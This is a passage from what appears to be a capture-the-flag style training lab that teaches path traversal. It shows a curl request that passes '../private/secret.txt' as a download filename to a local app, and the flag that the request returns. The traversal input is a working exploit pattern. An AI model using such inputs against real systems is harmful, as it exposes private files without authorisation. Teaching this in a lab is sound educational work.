Breaking out of the box
../ means "the parent directory". String enough of them together and you climb out of the downloads folder entirely. There's a private file one level up:
curl -s 'http://127.0.0.1:8080/app/download?file=../private/secret.txt'In the terminal
student@vulntech:~$ curl -s 'http://127.0.0.1:8080/app/download?file=../private/secret.txt' INTERNAL ONLY: vulntech{path_traversal_escapes_the_dir}
You just read a file the app never meant to expose — and it holds a flag. This is path traversal: the filename you control escapes the intended directory.
Tip: The space in a path must be encoded as
%20in the URL, exactly like in the command-injection module. These filenames have none, so they go through as-is.